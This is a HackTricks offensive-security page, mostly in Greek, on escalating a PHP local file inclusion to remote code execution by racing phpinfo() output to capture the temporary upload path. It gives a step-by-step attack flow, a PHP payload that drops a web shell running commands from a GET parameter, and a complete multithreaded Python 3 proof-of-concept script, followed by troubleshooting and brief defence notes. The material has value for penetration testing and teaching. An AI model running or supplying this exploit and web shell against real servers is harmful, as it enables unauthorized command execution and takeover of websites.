LFI to RCE via PHPInfo
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Για να εκμεταλλευτείτε αυτήν την τεχνική χρειάζεστε όλα τα παρακάτω:
- Μια προσβάσιμη σελίδα που εκτυπώνει έξοδο phpinfo().
- Ένα Local File Inclusion (LFI) primitive που ελέγχετε (π.χ., include/require σε είσοδο χρήστη).
- Ενεργοποιημένα PHP file uploads (file_uploads = On). Οποιοδήποτε PHP script δέχεται RFC1867 multipart uploads και δημιουργεί ένα προσωρινό αρχείο για κάθε uploaded part.
- Ο PHP worker πρέπει να μπορεί να γράψει στο configured upload_tmp_dir (ή στον προεπιλεγμένο system temp directory) και το LFI σας πρέπει να μπορεί να συμπεριλάβει αυτό το path.
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Σημειώσεις για το original PoC
- Η έξοδος του phpinfo() είναι HTML-encoded, οπότε το σύμβολο "=>" συχνά εμφανίζεται ως "=>". Αν ξαναχρησιμοποιήσετε legacy scripts, βεβαιωθείτε ότι ψάχνουν και για τις δύο κωδικοποιήσεις όταν κάνουν parse την τιμή _FILES[tmp_name].
- Πρέπει να προσαρμόσετε το payload (τον PHP κώδικα σας), το REQ1 (το request προς το phpinfo() endpoint συμπεριλαμβανομένου του padding) και το LFIREQ (το request προς το LFI sink). Κάποιοι στόχοι δεν χρειάζονται null-byte (%00) terminator και μοντέρνες PHP εκδόσεις δεν το σέβονται. Προσαρμόστε αναλόγως το LFIREQ.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Θεωρία
- Όταν το PHP λαμβάνει ένα multipart/form-data POST με ένα πεδίο αρχείου, γράφει το περιεχόμενο σε ένα προσωρινό αρχείο (upload_tmp_dir ή η προεπιλογή του OS) και εκθέτει τη διαδρομή σε $_FILES['
']['tmp_name']. Το αρχείο αφαιρείται αυτόματα στο τέλος του αιτήματος εκτός αν μετακινηθεί/μετονομαστεί. - Το κόλπο είναι να μάθεις το προσωρινό όνομα και να το συμπεριλάβεις μέσω του LFI πριν το PHP το καθαρίσει. phpinfo() εκτυπώνει το $_FILES, συμπεριλαμβανομένου του tmp_name.
- Με το να φουσκώσεις τα headers/παραμέτρους του αιτήματος (padding) μπορείς να προκαλέσεις ώστε πρώιμα τμήματα της εξόδου της phpinfo() να σπρωχτούν στον client πριν ολοκληρωθεί το αίτημα, έτσι μπορείς να διαβάσεις το tmp_name ενώ το προσωρινό αρχείο εξακολουθεί να υπάρχει και έπειτα αμέσως να κάνεις LFI σε αυτή τη διαδρομή.
Στα Windows τα προσωρινά αρχεία βρίσκονται συνήθως κάτω από κάτι σαν C:\Windows\Temp\php*.tmp. Σε Linux/Unix συνήθως είναι στο /tmp ή στον κατάλογο που έχει ρυθμιστεί στο upload_tmp_dir.
Ροή επίθεσης (βήμα-βήμα)
- Προετοίμασε ένα μικρό PHP payload που εγκαθιστά γρήγορα ένα shell ώστε να αποφύγεις να χάσεις την κούρσα (η εγγραφή ενός αρχείου είναι γενικά πιο γρήγορη από το να περιμένεις ένα reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Στείλτε ένα μεγάλο multipart POST απευθείας στη σελίδα phpinfo() ώστε να δημιουργήσει ένα προσωρινό αρχείο που περιέχει το payload σας. Φουσκώστε διάφορα headers/cookies/params με ~5–10KB padding για να ενθαρρύνετε την πρώιμη έξοδο. Βεβαιωθείτε ότι το όνομα του form field ταιριάζει με αυτό που θα κάνετε parse σε $_FILES.
-
Ενώ η απάντηση του phpinfo() εξακολουθεί να stream-άρεται, αναλύστε το μερικό σώμα για να εξαγάγετε το $_FILES['
']['tmp_name'] (HTML-encoded). Μόλις έχετε το πλήρες απόλυτο path (π.χ., /tmp/php3Fz9aB), ενεργοποιήστε το LFI σας για να include() αυτό το path. Αν το include() εκτελέσει το προσωρινό αρχείο πριν αυτό διαγραφεί, το payload σας τρέχει και ρίχνει /tmp/.p.php. -
Χρησιμοποιήστε το dropped αρχείο: GET /vuln.php?include=/tmp/.p.php&x=id (ή όπου αλλού το LFI σας επιτρέπει να το include) για αξιόπιστη εκτέλεση εντολών.
Tips
- Χρησιμοποιήστε πολλούς concurrent workers για να αυξήσετε τις πιθανότητές σας να κερδίσετε τον race.
- Θέσεις του padding που συνήθως βοηθούν: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Προσαρμόστε ανά στόχο.
- Αν το ευάλωτο sink προσθέτει ένα extension (π.χ., .php), δεν χρειάζεστε null byte· το include() θα εκτελέσει PHP ανεξάρτητα από το extension του προσωρινού αρχείου.
Minimal Python 3 PoC (socket-based)
Το snippet παρακάτω επικεντρώνεται στα κρίσιμα μέρη και είναι πιο εύκολο να προσαρμοστεί από το legacy Python2 script. Προσαρμόστε τα HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), και PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Αντιμετώπιση προβλημάτων
- Δεν βλέπετε ποτέ tmp_name: Βεβαιωθείτε ότι κάνετε πραγματικά POST multipart/form-data προς phpinfo(). phpinfo() εμφανίζει $_FILES μόνο όταν υπήρχε upload field.
- Η έξοδος δεν εκκενώνεται νωρίς: Αυξήστε το padding, προσθέστε περισσότερους μεγάλους headers, ή στείλτε πολλαπλά concurrent requests. Ορισμένα SAPI/buffers δεν θα κάνουν flush μέχρι μεγαλύτερα όρια· προσαρμόστε ανάλογα.
- LFI path blocked by open_basedir or chroot: Πρέπει να δείξετε το LFI σε μια επιτρεπόμενη διαδρομή ή να αλλάξετε σε διαφορετικό LFI2RCE vector.
- Temp directory not /tmp: phpinfo() εκτυπώνει την πλήρη απόλυτη tmp_name διαδρομή· χρησιμοποιήστε ακριβώς αυτή τη διαδρομή στο LFI.
Σημειώσεις άμυνας
- Μην εκθέτετε ποτέ το phpinfo() σε παραγωγικό περιβάλλον. Εάν χρειάζεται, περιορίστε με IP/auth και αφαιρέστε μετά τη χρήση.
- Κρατήστε το file_uploads απενεργοποιημένο αν δεν απαιτείται. Διαφορετικά, περιορίστε το upload_tmp_dir σε μια διαδρομή που δεν είναι προσβάσιμη από include() στην εφαρμογή και επιβάλετε αυστηρό validation σε οποιεσδήποτε include/require διαδρομές.
- Θεωρήστε κάθε LFI κρίσιμο· ακόμη και χωρίς phpinfo(), υπάρχουν άλλες διαδρομές LFI→RCE.
Σχετικές τεχνικές HackTricks
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Αναφορές
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.